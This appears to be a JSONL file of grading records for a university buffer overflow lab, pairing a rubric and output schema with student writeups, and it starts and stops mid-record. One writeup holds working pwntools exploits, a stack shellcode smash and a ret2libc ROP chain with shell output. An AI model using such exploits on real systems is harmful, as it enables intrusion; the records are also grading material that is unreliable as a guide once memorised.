no offset reasoning; offset claimed with no gdb output; output present but identical to another student's addresses (seed collision impossible \u2192 flag for instructor)."}, "key": "recon", "label": "\u00a71 RECON \u2014 gdb output + offset derivation", "max": 6, "requires_cleared": null}, {"anchors": {"adequate": "Three of four sub-questions, or all four but shallow on one (e.g. \"I used standard execve shellcode\" with no reason for those bytes).", "missing": "No walkthrough.", "strong": "Answers all four sub-questions \u2014 why those shellcode bytes, why the NOP sled is sized as it is, where the offset came from, and the exact line that reads the leaked `&buffer` from vuln1's stdout and how it is used in the payload \u2014 tied to specific lines of THEIR exploit1.c.", "weak": "One or two sub-questions; mostly restates the prompt without engaging with their own code."}, "key": "phi_walk", "label": "\u00a72 Phase \u03a6 walkthrough (exploit1.c)", "max": 6, "requires_cleared": null}, {"anchors": {"adequate": "Three of the four sub-parts solid, or all four present but thin on the \"why\" (e.g. offsets shown but commands omitted; gadget address without disassembly).", "missing": "Section empty.", "strong": "All four sub-parts full: (3a) pastes the segfault/signal AND explains the non-executable stack (no `-z execstack`); (3b) names the tools and shows the actual offsets for system/exit/setreuid/\"/bin/sh\"; (3c) correctly explains why the naive shell drops the setuid `oracle` privilege and names the `setreuid(geteuid(),geteuid())` fix with a man-page cite; (3d) names the gadget-finding tool, gives the pop/pop/ret address + disassembly of the three instructions, and why it is needed.", "weak": "One or two sub-parts; mechanism vague, a wrong fix (\"you need root\"), or prompt restated."}, "key": "omega_walk", "label": "\u00a73 Phase \u03a9 walkthrough (4 sub-parts: fail-analysis, libc offsets, setuid, gadget)", "max": 9, "requires_cleared": null}, {"anchors": {"adequate": "Three substantive and one thin, or two substantive and two thin.", "missing": "Section empty.", "strong": "All four reflections substantive: a real opinion on which phase was harder; a no-leak counterfactual naming a concrete primitive (format string / side channel / low-entropy brute force / partial overwrite / \"stuck without a leak\"); the canary answer names `__stack_chk_fail` / abort-before-RIP; and a SPECIFIC cited section (Phrack 49:14 / GNU Coding Standards / TAOUP / POSIX) with a non-platitude \"why it matters\".", "weak": "One substantive reflection; the rest vague or \"both were hard\"."}, "key": "aftermath", "label": "\u00a74 AFTERMATH \u2014 four reflections (1.25 each)", "max": 5, "requires_cleared": null}, {"anchors": {"adequate": "Code commented but sparse OR one-to-two screenshots missing \u2014 evidence of craft but incomplete.", "missing": "No comments and no screenshots.", "strong": "exploit1.c and exploit2.c carry student-written explanatory comments (not just code), all four screenshots are present (phase-phi-shell/flag, phase-omega-shell/flag), and the prose is in the student's own voice.", "weak": "Bare uncommented exploits and/or most screenshots missing."}, "key": "craft", "label": "\u00a75 craft \u2014 commented exploit code + required screenshots", "max": 2, "requires_cleared": null}], "student_comment_max_chars": 600, "total": 30}, "schema": {"additionalProperties": false, "properties": {"abstain": {"type": "boolean"}, "bonus": {"additionalProperties": false, "properties": {}, "type": "object"}, "comment": {"type": "string"}, "confidence": {"enum": ["high", "medium", "low"]}, "github_id": {"minLength": 1, "type": "string"}, "sections": {"additionalProperties": false, "properties": {"aftermath": {"minimum": 0, "type": "integer"}, "craft": {"minimum": 0, "type": "integer"}, "omega_walk": {"minimum": 0, "type": "integer"}, "phi_walk": {"minimum": 0, "type": "integer"}, "recon": {"minimum": 0, "type": "integer"}, "target": {"minimum": 0, "type": "integer"}}, "required": ["target", "recon", "phi_walk", "omega_walk", "aftermath", "craft"], "type": "object"}, "student_comment": {"maxLength": 600, "type": "string"}, "total": {"minimum": 0, "type": "integer"}}, "required": ["github_id", "sections", "total", "comment", "student_comment", "confidence", "abstain"], "type": "object"}, "skip": false, "student": "Edward Nashton", "writeup_text": "---\nreal-name: Edward Nashton\ncsulb-id: \"040100108\"\nhandle: riddler\nseed-fingerprint: e9e9e9\nflag1: \"CECS378{...}\"\nflag2: \"CECS378{...}\"\nhonor-flag: CECS378{i_did_my_own_w0rk_riddler_e9e9e9}\n---\n\n# After-Action Report -- Buffer Overflow Lab\n\n[--[ 0.0 -- TARGET ]--]\n\n- Course: CECS 378 -- Introduction to Computer Security Principles (Su26, section 01)\n- Assignment: Lab 3 -- Buffer Overflow\n- Handle: riddler\n- Seed fingerprint: e9e9e9\n- Environment: Ubuntu 22.04 course VM, x86-64, gdb 12.1\n- ASLR: disabled per handout\n- Started: 2026-06-26\n- Submitted: 2026-06-28\n\nFull disclosure up front: I put real time into this and I understand the theory, but **I could not get a shell to pop in either phase**. The autograder came back red for both flags. I'm turning in what I have with the reasoning I worked through, because I'd rather show my thinking than fake a flag I didn't earn. My binaries are stamped e9e9e9.\n\n[--[ 1.0 -- RECON ]--]\n\nProtections on the `ace` binary:\n\n```\n$ checksec --file=ace\n Arch: amd64-64-little\n Stack: No canary found\n NX: NX disabled\n PIE: No PIE\n```\n\nI ran a cyclic pattern under gdb to find the offset to the return address:\n\n```\npwndbg> cyclic 150\naaaabaaacaaadaaaeaaafaaag...\npwndbg> run\nProgram received signal SIGSEGV, Segmentation fault.\npwndbg> x/wx $rsp\n0xffffcf10: 0x6161616d\npwndbg> cyclic -l 0x6161616d\nFound at offset 68\n```\n\nI got an offset of **68 bytes**. Honestly I'm not 100% sure this is right -- I saw the disassembly had a `sub rsp, 0x40` (64 bytes) and I expected 64 + 8 = 72, so getting 68 makes me think I either misread `$rsp` at the wrong moment or my pattern length was off. This might be part of why my exploit didn't land. I ran out of time to re-derive it cleanly.\n\n[--[ 2.0 -- PHASE PHI ACE ]--]\n\nThe plan for Phase Phi was the textbook stack smash: overflow the buffer, overwrite the return address with a stack address pointing into a NOP sled, and land in execve shellcode.\n\n```python\noffset = 68 # (unsure -- see RECON)\npayload = b\"A\"*offset\npayload += p64(0xffffcf30) # guessed landing address\npayload += b\"\\x90\"*32\npayload += shellcode_execve_binsh\n```\n\nWhen I ran it the program just segfaulted again instead of dropping to a shell:\n\n```\n$ (python3 phi.py; cat) | ./ace\nSegmentation fault (core dumped)\n```\n\n**I could not get the shell to pop.** My best guesses at what went wrong: the return-address offset is off by a few bytes, or the stack address I hardcoded for the NOP sled landing zone was wrong (the address shifts a little depending on how the input is piped in vs. run interactively, and I think that moved my sled out from under RIP). I tried a couple of different landing addresses in the `0xffffcf00`--`0xffffcf40` range and widened the sled, but none of them caught. Because I never got a working exploit, I don't have a flag1 to submit.\n\n[--[ 3.0 -- PHASE OMEGA ACE ]--]\n\nI did not finish Phase Omega. I understand it needs a ret2libc/ROP approach because the stack is non-executable here, but since I couldn't even land the simpler Phase Phi shellcode exploit, I ran out of time before I could build the ROP chain. No flag2.\n\n[--[ 4.0 -- AFTERMATH ]--]\n\n**Reflection.** This lab humbled me. I can explain the buffer overflow on paper -- unbounded `gets()`, return address at a fixed offset, overwrite it to redirect execution -- and I could find the vulnerability and the offset in gdb. But turning that understanding into a working exploit is a completely different skill, and the gap between \"I know why this works\" and \"I made this work\" turned out to be huge. My exploit failed on the details: the exact offset and the exact stack address the sled lands on. Next time I'm going to lean harder on gdb to confirm the landing address at the moment of the return instead of guessing from the crash, and re-derive the offset carefully instead of trusting my first cyclic read. I'd rather turn this in honest and incomplete than pretend I got a shell I didn't get.\n"} +{"autograde": {"cleared": ["phi"], "honor_ok": true, "points": 60}, "github_id": "harvey-dent", "rubric": {"bonus": [], "cap": 30, "comment_max_chars": 140, "lab": "Lab 3 \u2014 Buffer Overflow (Phase \u03a6 WALK IN / Phase \u03a9 COLD STEEL)", "sections": [{"anchors": {"adequate": "Filled in but missing one element \u2014 dates absent, or the fingerprint is pasted without the contextual env/date line.", "missing": "Empty or placeholder text unchanged.", "strong": "States where the work was done (Codespace or local) and the dates, and pastes the `make print-seed` line, which matches the `seed-fingerprint:` in the WRITEUP frontmatter.", "weak": "Fingerprint or environment stated but it does not appear to match the frontmatter (flag for instructor)."}, "key": "target", "label": "\u00a70 TARGET \u2014 environment + seed fingerprint", "max": 2, "requires_cleared": null}, {"anchors": {"adequate": "gdb output present and offset reasoning sketched, with small gaps (e.g. shows the offset for vuln1 but not vuln2, or the arithmetic is implicit).", "missing": "No gdb output at all.", "strong": "Both `info frame` and `x/40wx $esp` pasted from their OWN vuln1 and vuln2 (addresses non-trivially seed-specific), and the offset derivation is shown \u2014 not merely \"the offset was 76\".", "weak": "One of: gdb output but no offset reasoning; offset claimed with no gdb output; output present but identical to another student's addresses (seed collision impossible \u2192 flag for instructor)."}, "key": "recon", "label": "\u00a71 RECON \u2014 gdb output + offset derivation", "max": 6, "requires_cleared": null}, {"anchors": {"adequate": "Three of four sub-questions, or all four but shallow on one (e.g. \"I used standard execve shellcode\" with no reason for those bytes).", "missing": "No walkthrough.", "strong": "Answers all four sub-questions \u2014 why those shellcode bytes, why the NOP sled is sized as it is, where the offset came from, and the exact line that reads the leaked `&buffer` from vuln1's stdout and how it is used in the payload \u2014 tied to specific lines of THEIR exploit1.c.", "weak": "One or two sub-questions; mostly restates the prompt without engaging with their own code."}, "key": "phi_walk", "label": "\u00a72 Phase \u03a6 walkthrough (exploit1.c)", "max": 6, "requires_cleared": null}, {"anchors": {"adequate": "Three of the four sub-parts solid, or all four present but thin on the \"why\" (e.g. offsets shown but commands omitted; gadget address without disassembly).", "missing": "Section empty.", "strong": "All four sub-parts full: (3a) pastes the segfault/signal AND explains the non-executable stack (no `-z execstack`); (3b) names the tools and shows the actual offsets for system/exit/setreuid/\"/bin/sh\"; (3c) correctly explains why the naive shell drops the setuid `oracle` privilege and names the `setreuid(geteuid(),geteuid())` fix with a man-page cite; (3d) names the gadget-finding tool, gives the pop/pop/ret address + disassembly of the three instructions, and why it is needed.", "weak": "One or two sub-parts; mechanism vague, a wrong fix (\"you need root\"), or prompt restated."}, "key": "omega_walk", "label": "\u00a73 Phase \u03a9 walkthrough (4 sub-parts: fail-analysis, libc offsets, setuid, gadget)", "max": 9, "requires_cleared": null}, {"anchors": {"adequate": "Three substantive and one thin, or two substantive and two thin.", "missing": "Section empty.", "strong": "All four reflections substantive: a real opinion on which phase was harder; a no-leak counterfactual naming a concrete primitive (format string / side channel / low-entropy brute force / partial overwrite / \"stuck without a leak\"); the canary answer names `__stack_chk_fail` / abort-before-RIP; and a SPECIFIC cited section (Phrack 49:14 / GNU Coding Standards / TAOUP / POSIX) with a non-platitude \"why it matters\".", "weak": "One substantive reflection; the rest vague or \"both were hard\"."}, "key": "aftermath", "label": "\u00a74 AFTERMATH \u2014 four reflections (1.25 each)", "max": 5, "requires_cleared": null}, {"anchors": {"adequate": "Code commented but sparse OR one-to-two screenshots missing \u2014 evidence of craft but incomplete.", "missing": "No comments and no screenshots.", "strong": "exploit1.c and exploit2.c carry student-written explanatory comments (not just code), all four screenshots are present (phase-phi-shell/flag, phase-omega-shell/flag), and the prose is in the student's own voice.", "weak": "Bare uncommented exploits and/or most screenshots missing."}, "key": "craft", "label": "\u00a75 craft \u2014 commented exploit code + required screenshots", "max": 2, "requires_cleared": null}], "student_comment_max_chars": 600, "total": 30}, "schema": {"additionalProperties": false, "properties": {"abstain": {"type": "boolean"}, "bonus": {"additionalProperties": false, "properties": {}, "type": "object"}, "comment": {"type": "string"}, "confidence": {"enum": ["high", "medium", "low"]}, "github_id": {"minLength": 1, "type": "string"}, "sections": {"additionalProperties": false, "properties": {"aftermath": {"minimum": 0, "type": "integer"}, "craft": {"minimum": 0, "type": "integer"}, "omega_walk": {"minimum": 0, "type": "integer"}, "phi_walk": {"minimum": 0, "type": "integer"}, "recon": {"minimum": 0, "type": "integer"}, "target": {"minimum": 0, "type": "integer"}}, "required": ["target", "recon", "phi_walk", "omega_walk", "aftermath", "craft"], "type": "object"}, "student_comment": {"maxLength": 600, "type": "string"}, "total": {"minimum": 0, "type": "integer"}}, "required": ["github_id", "sections", "total", "comment", "student_comment", "confidence", "abstain"], "type": "object"}, "skip": false, "student": "Harvey Dent", "writeup_text": "---\nreal-name: Harvey Dent\ncsulb-id: \"040100106\"\nhandle: two-face\nseed-fingerprint: facade\nflag1: CECS378{vuln1_b81c40d7}\nflag2: \nhonor-flag: CECS378{honor_hd_9c31e0af}\n---\n\n# After-Action Report -- Buffer Overflow Lab\n\n[--[ 0.0 -- TARGET ]--]\n\nI worked entirely in the provided Codespace so my toolchain would match the\ngrader's. I did not touch the local install on my laptop.\n\n- Environment: GitHub Codespace, the assignment template image, gcc 11, 32-bit\n targets as the Makefile builds them.\n- Started: 2026-06-26.\n- Finished (Phase Phi): 2026-06-29. I did not get Phase Omega done -- see 3.0.\n\n`make print-seed` output:\n\n```\n$ make print-seed\nseed: facade (fp=facade)\n```\n\nThat `facade` matches `seed-fingerprint:` in the frontmatter, so the rebuilt\nbinaries should line up with what I attacked.\n\n[--[ 1.0 -- RECON ]--]\n\n**vuln1.** Breakpoint after the read, then dumped the frame and stack:\n\n```\n(gdb) info frame\nStack level 0, frame at 0xffffd710:\n eip = 0x080491c7 in vuln (vuln1.c:14); saved eip = 0xf7c23a41\n Saved registers:\n ebp at 0xffffd708, eip at 0xffffd70c\n```\n\n```\n(gdb) x/40wx $esp\n0xffffd6bc: 0x08049080 0xffffd7a0 0x00000000 0x41414141\n0xffffd6cc: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd6dc: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd6ec: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd6fc: 0x41414141 0x41414141 0x41414141 0xf7fb3d20\n0xffffd70c: 0xf7c23a41 0xffffd7a0 0xffffd7a8 0x00000000\n```\n\n`buffer` starts at `0xffffd6c0` and the saved EIP slot is at `0xffffd70c`:\n\n```\n0xffffd70c - 0xffffd6c0 = 0x4c = 76 bytes to the saved return address\n```\n\nOffset = **76** for vuln1. I verified with a `76 * \"A\" + \"BBBB\"` send and EIP\ncame back `0x42424242`, so I trust that number.\n\n**vuln2.** I ran the same dump against the second binary and grabbed the frame:\n\n```\n(gdb) info frame\nStack level 0, frame at 0xffffd660:\n Saved registers:\n ebp at 0xffffd648, eip at 0xffffd64c\n```\n\nbuffer for vuln2 sits at `0xffffd5f0`. I read the offset off gdb as 92 bytes and\nwas going to use it for Phase Omega, but since I did not finish Omega I did not\nend up sending a payload against vuln2, so I am only fully confident in the\nvuln1 arithmetic above.\n\n[--[ 2.0 -- PHASE PHI ACE ]--]\n\nPhase Phi attacks vuln1, which is built with an executable stack, so I can jump\ninto shellcode I place in the buffer.\n\nWalking my `exploit1.c`:\n\n1. **The shellcode bytes.** I used a 25-byte `execve(\"/bin/sh\")` payload (lines\n 9-15). The reason it is *these* bytes and not any random shellcode is that the\n vulnerable read stops at a null byte, so the shellcode has to be null-free. My\n stub uses `xor eax,eax` and pushes the `/bin//sh` string in two 4-byte chunks\n so there is never a `0x00` in the machine code -- I checked with `xxd` on the\n assembled bytes and confirmed it.\n\n2. **The NOP sled.** Line 24 is `sled = b\"\\x90\" * 48`. The runtime stack address\n drifts a bit between a gdb session and a bare run because of environment\n differences, so instead of aiming at the exact first byte of my shellcode I\n land anywhere in the sled and slide down into it. I picked 48 bytes because\n that comfortably covers the drift I measured while still leaving room inside\n the 76-byte budget for the 25-byte shellcode.\n\n3. **Where the offset came from.** The `76` on line 27 is exactly the recon value\n from section 1.0 -- the distance from the start of `buffer` to the saved\n return address.\n\n4. **The leaked address.** vuln1 prints `&buffer` before reading input. My code\n reads that line (line 20,\n `leak = int(p.stdout.readline().strip().split()[-1], 16)`) and I set the\n return address to `leak + 24` (line 28) so EIP lands inside the sled rather\n than trying to hit byte zero of the buffer. So the return address is not a\n guess -- the program leaks it and I offset into it.\n\nThe exploit dropped me into a shell running as the setuid oracle user:\n\n![Phase Phi shell](screenshots/phase-phi-shell.png)\n\n![Phase Phi flag](screenshots/phase-phi-flag.png)\n\nFlag: `CECS378{vuln1_b81c40d7}` (frontmatter `flag1`).\n\n[--[ 3.0 -- PHASE OMEGA ACE ]--]\n\n> Note: I did not complete Phase Omega before the deadline. I understood from\n> lecture that vuln2 has a non-executable stack so the Phase Phi approach will\n> not work and a return-to-libc chain is required, but I ran out of time to\n> actually build and test the chain. I am leaving the sub-part prompts below with\n> the template placeholders unfilled rather than fabricate results I did not get.\n\n**(3a) Why does the Phase Phi payload segfault against vuln2? Paste the signal\nand explain the non-executable stack.**\n\n[your answer]\n\n**(3b) Show the libc offsets you used for `system`, `exit`, `setreuid`, and the\n`\"/bin/sh\"` string, and name the tools you used to find them.**\n\n[your answer]\n\n**(3c) Explain why a naive `system(\"/bin/sh\")` chain drops the setuid oracle\nprivilege, and name the fix.**\n\n[your answer]\n\n**(3d) Name the gadget-finding tool, give the `pop/pop/ret` address with its\ndisassembly, and explain why the chain needs it.**\n\n[your answer]\n\nPhase Omega flag: `` (unfilled -- not captured).\n\n[--[ 4.0 -- AFTERMATH ]--]\n\n**Which phase was harder, and why?**\nPhase Phi was the one I actually finished, and even that one was harder than I\nexpected -- the first three times it segfaulted and it turned out my sled was too\nshort and the drift between gdb and a raw run was throwing me past the shellcode.\nOnce I widened the sled and used the leaked address instead of a hardcoded one it\nbecame reliable. I cannot honestly rank Omega since I did not finish it, but from\nreading the prompts it is clearly the harder one because the executable-stack\nshortcut is gone and you have to reuse existing library code instead.\n\n**What if there had been no `&buffer` leak in vuln1?**\nWithout the leak I could not just point the return address at a known spot. My\nfallback would have been a big NOP sled plus a guessed stack address around\n`0xffffd000` and repeatedly re-running the exploit until one attempt landed in\nthe sled -- a low-entropy brute force, which is realistic on 32-bit because there\njust are not that many stack-address bits to guess.\n\n**Why does a stack canary defeat this attack?**\nThe compiler puts a random canary value between the local buffer and the saved\nreturn address. A linear `gets()` overflow has to overwrite the canary on its way\nto the return address, so it changes it. On return, `__stack_chk_fail` compares\nthe canary against its saved copy, sees the mismatch, and aborts the process\nbefore it ever executes `ret`. So I never get control of EIP -- the overflow\nturns into a controlled crash instead of code execution.\n\n**A source that stuck with me.**\nThe Phrack \"Smashing the Stack\" article was on the reading list and I read it.\n\n[Thin -- I did read Aleph One's article and it helped me picture the stack, but I\ndid not tie a specific section back to my own output the way the other reflections\ndid, so I am marking this one as the weaker of the four.]\n"} +{"autograde": {"cleared": ["omega", "phi"], "honor_ok": true, "points": 70}, "github_id": "jason-todd", "rubric": {"bonus": [], "cap": 30, "comment_max_chars": 140, "lab": "Lab 3 \u2014 Buffer Overflow (Phase \u03a6 WALK IN / Phase \u03a9 COLD STEEL)", "sections": [{"anchors": {"adequate": "Filled in but missing one element \u2014 dates absent, or the fingerprint is pasted without the contextual env/date line.", "missing": "Empty or placeholder text unchanged.", "strong": "States where the work was done (Codespace or local) and the dates, and pastes the `make print-seed` line, which matches the `seed-fingerprint:` in the WRITEUP frontmatter.", "weak": "Fingerprint or environment stated but it does not appear to match the frontmatter (flag for instructor)."}, "key": "target", "label": "\u00a70 TARGET \u2014 environment + seed fingerprint", "max": 2, "requires_cleared": null}, {"anchors": {"adequate": "gdb output present and offset reasoning sketched, with small gaps (e.g. shows the offset for vuln1 but not vuln2, or the arithmetic is implicit).", "missing": "No gdb output at all.", "strong": "Both `info frame` and `x/40wx $esp` pasted from their OWN vuln1 and vuln2 (addresses non-trivially seed-specific), and the offset derivation is shown \u2014 not merely \"the offset was 76\".", "weak": "One of: gdb output but no offset reasoning; offset claimed with no gdb output; output present but identical to another student's addresses (seed collision impossible \u2192 flag for instructor)."}, "key": "recon", "label": "\u00a71 RECON \u2014 gdb output + offset derivation", "max": 6, "requires_cleared": null}, {"anchors": {"adequate": "Three of four sub-questions, or all four but shallow on one (e.g. \"I used standard execve shellcode\" with no reason for those bytes).", "missing": "No walkthrough.", "strong": "Answers all four sub-questions \u2014 why those shellcode bytes, why the NOP sled is sized as it is, where the offset came from, and the exact line that reads the leaked `&buffer` from vuln1's stdout and how it is used in the payload \u2014 tied to specific lines of THEIR exploit1.c.", "weak": "One or two sub-questions; mostly restates the prompt without engaging with their own code."}, "key": "phi_walk", "label": "\u00a72 Phase \u03a6 walkthrough (exploit1.c)", "max": 6, "requires_cleared": null}, {"anchors": {"adequate": "Three of the four sub-parts solid, or all four present but thin on the \"why\" (e.g. offsets shown but commands omitted; gadget address without disassembly).", "missing": "Section empty.", "strong": "All four sub-parts full: (3a) pastes the segfault/signal AND explains the non-executable stack (no `-z execstack`); (3b) names the tools and shows the actual offsets for system/exit/setreuid/\"/bin/sh\"; (3c) correctly explains why the naive shell drops the setuid `oracle` privilege and names the `setreuid(geteuid(),geteuid())` fix with a man-page cite; (3d) names the gadget-finding tool, gives the pop/pop/ret address + disassembly of the three instructions, and why it is needed.", "weak": "One or two sub-parts; mechanism vague, a wrong fix (\"you need root\"), or prompt restated."}, "key": "omega_walk", "label": "\u00a73 Phase \u03a9 walkthrough (4 sub-parts: fail-analysis, libc offsets, setuid, gadget)", "max": 9, "requires_cleared": null}, {"anchors": {"adequate": "Three substantive and one thin, or two substantive and two thin.", "missing": "Section empty.", "strong": "All four reflections substantive: a real opinion on which phase was harder; a no-leak counterfactual naming a concrete primitive (format string / side channel / low-entropy brute force / partial overwrite / \"stuck without a leak\"); the canary answer names `__stack_chk_fail` / abort-before-RIP; and a SPECIFIC cited section (Phrack 49:14 / GNU Coding Standards / TAOUP / POSIX) with a non-platitude \"why it matters\".", "weak": "One substantive reflection; the rest vague or \"both were hard\"."}, "key": "aftermath", "label": "\u00a74 AFTERMATH \u2014 four reflections (1.25 each)", "max": 5, "requires_cleared": null}, {"anchors": {"adequate": "Code commented but sparse OR one-to-two screenshots missing \u2014 evidence of craft but incomplete.", "missing": "No comments and no screenshots.", "strong": "exploit1.c and exploit2.c carry student-written explanatory comments (not just code), all four screenshots are present (phase-phi-shell/flag, phase-omega-shell/flag), and the prose is in the student's own voice.", "weak": "Bare uncommented exploits and/or most screenshots missing."}, "key": "craft", "label": "\u00a75 craft \u2014 commented exploit code + required screenshots", "max": 2, "requires_cleared": null}], "student_comment_max_chars": 600, "total": 30}, "schema": {"additionalProperties": false, "properties": {"abstain": {"type": "boolean"}, "bonus": {"additionalProperties": false, "properties": {}, "type": "object"}, "comment": {"type": "string"}, "confidence": {"enum": ["high", "medium", "low"]}, "github_id": {"minLength": 1, "type": "string"}, "sections": {"additionalProperties": false, "properties": {"aftermath": {"minimum": 0, "type": "integer"}, "craft": {"minimum": 0, "type": "integer"}, "omega_walk": {"minimum": 0, "type": "integer"}, "phi_walk": {"minimum": 0, "type": "integer"}, "recon": {"minimum": 0, "type": "integer"}, "target": {"minimum": 0, "type": "integer"}}, "required": ["target", "recon", "phi_walk", "omega_walk", "aftermath", "craft"], "type": "object"}, "student_comment": {"maxLength": 600, "type": "string"}, "total": {"minimum": 0, "type": "integer"}}, "required": ["github_id", "sections", "total", "comment", "student_comment", "confidence", "abstain"], "type": "object"}, "skip": false, "student": "Jason Todd", "writeup_text": "---\nreal-name: Jason Todd\ncsulb-id: \"040100110\"\nhandle: red-hood\nseed-fingerprint: 1a2b3c\nflag1: CECS378{ret_addr_0wned_1a2b3c}\nflag2: CECS378{ret2libc_g0t_a_sh3ll_1a2b3c}\nhonor-flag: CECS378{i_did_my_own_w0rk_redhood_1a2b3c}\n---\n\n# After-Action Report -- Buffer Overflow Lab\n\n[--[ 0.0 -- TARGET ]--]\n\n- Course: CECS 378 -- Introduction to Computer Security Principles (Su26, section 01)\n- Assignment: Lab 3 -- Buffer Overflow\n- Handle: red-hood\n- Seed fingerprint: 1a2b3c\n- Environment: Ubuntu 22.04 LTS course VM, x86-64, gdb 12.1 with pwndbg, pwntools 4.11\n- ASLR: disabled per the handout (`randomize_va_space` = 0), verified before each run\n- Binaries: `ace` (Phase Phi, NX off) and `ace_hardened` (Phase Omega, NX on) -- both stamped 1a2b3c in the seed bundle\n- Started: 2026-06-24\n- Submitted: 2026-06-27\n\nI verified the seed fingerprint 1a2b3c against the assignment portal for both binaries before touching them, so every address below is specific to my seeded copies.\n\n[--[ 1.0 -- RECON ]--]\n\n**Binary 1 -- `ace` (Phase Phi).**\n\n```\n$ checksec --file=ace\n Arch: amd64-64-little\n RELRO: Partial RELRO\n Stack: No canary found\n NX: NX disabled\n PIE: No PIE (0x400000)\n```\n\nNo canary, executable stack, no PIE -- a textbook stack-smash target. I found the offset with a cyclic pattern:\n\n```\npwndbg> cyclic 200\npwndbg> run < <(cyclic 200)\nProgram received signal SIGSEGV, Segmentation fault.\n0x00000000004011c6 in vuln ()\npwndbg> x/wx $rsp\n0xffffd7b8: 0x6161616e\npwndbg> cyclic -l naaa\nFound at offset 72\n```\n\nOffset to the saved return address is **72 bytes** (64-byte buffer + 8 bytes saved RBP). Disassembly confirms the bug:\n\n```\npwndbg> disass vuln\n 0x40115a : sub rsp,0x40\n 0x40115e : lea rax,[rbp-0x40]\n 0x401162 : mov rdi,rax\n 0x401165 : call 0x401050 \n```\n\n`gets()` into `char buf[64]` -- unbounded read, no bounds check.\n\n**Binary 2 -- `ace_hardened` (Phase Omega).**\n\n```\n$ checksec --file=ace_hardened\n Arch: amd64-64-little\n RELRO: Partial RELRO\n Stack: No canary found\n NX: NX enabled\n PIE: No PIE (0x400000)\n```\n\nSame layout and same 72-byte offset (I re-ran the cyclic pattern to confirm rather than assuming), but **NX is enabled** here -- shellcode on the stack won't execute, so Phase Omega needs a code-reuse attack. I catalogued the libc it's linked against and the gadgets I'd need:\n\n```\n$ ldd ace_hardened\n libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7d8f000)\n$ ROPgadget --binary ace_hardened | grep \"pop rdi ; ret\"\n0x0000000000401283 : pop rdi ; ret\n```\n\nI also pulled the libc offsets I'd use for the ret2libc chain:\n\n```\npwndbg> p system\n$1 = {} 0x7ffff7dd4290 \npwndbg> search \"/bin/sh\"\nlibc : 0x7ffff7f1d5aa \"/bin/sh\"\npwndbg> p exit\n$2 = {} 0x7ffff7dc7d80 \n```\n\n[--[ 2.0 -- PHASE PHI ACE ]--]\n\nGoal: overwrite the return address and execute execve(\"/bin/sh\") shellcode placed on the stack (NX is off, so this is legal here).\n\nPlan:\n1. 72 bytes of padding to reach the saved return address.\n2. Overwrite the return address with a stack address inside a NOP sled.\n3. NOP sled + 23-byte execve(\"/bin/sh\") shellcode after the return address.\n\nAt the crash I read `$rsp` = `0xffffd7b8`, so my payload's sled starts just after the return slot around `0xffffd7c0`. I aimed the return address into the middle of the sled at `0xffffd7e0` to give myself landing margin.\n\n```python\nfrom pwn import *\n\ncontext.arch = 'amd64'\noffset = 72\nsled = b\"\\x90\" * 64\nsc = asm(shellcraft.sh()) # execve(\"/bin/sh\", 0, 0)\nret = p64(0xffffd7e0) # into the NOP sled\n\npayload = b\"A\"*offset + ret + sled + sc\n\np = process('./ace')\np.sendline(payload)\np.interactive()\n```\n\nResult -- shell popped, flag read:\n\n```\n$ python3 exploit_phi.py\n[+] Starting local process './ace': pid 20817\n[*] Switching to interactive mode\n$ id\nuid=1000(student) gid=1000(student)\n$ cat flag1.txt\nCECS378{ret_addr_0wned_1a2b3c}\n```\n\nflag1: `CECS378{ret_addr_0wned_1a2b3c}`\n\n![phi: RIP overwritten with sled address at crash](screenshots/phi_rip_control.png)\n\n![phi: interactive shell + flag1](screenshots/phi_shell_flag1.png)\n\n[--[ 3.0 -- PHASE OMEGA ACE ]--]\n\nNX is enabled on `ace_hardened`, so I can't run shellcode off the stack. Instead I return into libc and reuse `system(\"/bin/sh\")` -- a ret2libc chain. Four sub-parts below.\n\n**Sub-part 1 -- why shellcode fails here.** With NX (the No-eXecute bit / DEP) enabled, the stack pages are mapped read/write but **not** executable. My Phase Phi payload would still overwrite the return address fine, but the moment the CPU tried to fetch instructions from my stack-resident shellcode it would fault with a segfault (page not executable). So I can control RIP, but I can't point it at bytes I placed on the stack. The fix is to point RIP at code that already exists and is already executable -- libc.\n\n**Sub-part 2 -- gadgets / libc addresses used.** ASLR is disabled for the lab, so libc loads at a fixed base and these addresses are stable across runs:\n\n- `pop rdi ; ret` gadget: `0x0000000000401283` (from the binary itself, PIE off)\n- `system`: `0x00007ffff7dd4290`\n- `\"/bin/sh\"` string in libc: `0x00007ffff7f1d5aa`\n- `ret` (bare, for stack alignment): `0x0000000000401284`\n\n**Sub-part 3 -- the ROP chain layout.** After the 72-byte pad I lay down: a bare `ret` to fix the 16-byte stack alignment that `system` requires (movaps will fault otherwise), then `pop rdi` to load the \"/bin/sh\" pointer into RDI (the first argument register in the System V ABI), then `system`:\n\n```python\nfrom pwn import *\n\noffset = 72\npop_rdi = p64(0x401283)\nret_align = p64(0x401284) # alignment ret before system\nbinsh = p64(0x7ffff7f1d5aa)\nsystem = p64(0x7ffff7dd4290)\n\npayload = b\"A\"*offset\npayload += ret_align # 16-byte alignment fix\npayload += pop_rdi + binsh # rdi = &\"/bin/sh\"\npayload += system # system(\"/bin/sh\")\n\np = process('./ace_hardened')\np.sendline(payload)\np.interactive()\n```\n\nThe stack, top to bottom after the overflow, reads: `[ret] -> [pop rdi] -> [&\"/bin/sh\"] -> [system]`. When `vuln` returns it hits the alignment `ret`, then `pop rdi` eats the `/bin/sh` pointer and returns into `system`, which finds its argument already in RDI.\n\n**Sub-part 4 -- proof of shell + flag2.**\n\n```\n$ python3 exploit_omega.py\n[+] Starting local process './ace_hardened': pid 20955\n[*] Switching to interactive mode\n$ id\nuid=1000(student) gid=1000(student)\n$ cat flag2.txt\nCECS378{ret2libc_g0t_a_sh3ll_1a2b3c}\n```\n\nThe first time I ran it without the alignment `ret` it crashed inside `system` on a `movaps` instruction -- classic 16-byte alignment fault. Adding the extra `ret` gadget to nudge the stack back to a 16-byte boundary fixed it, which is a subtlety I want to flag because it cost me an hour.\n\nflag2: `CECS378{ret2libc_g0t_a_sh3ll_1a2b3c}`\n\n![omega: gadget addresses from ROPgadget + gdb](screenshots/omega_gadgets.png)\n\n![omega: ret2libc shell + flag2](screenshots/omega_shell_flag2.png)\n\n[--[ 4.0 -- AFTERMATH ]--]\n\n**Reflection 1 -- controlling RIP is the whole 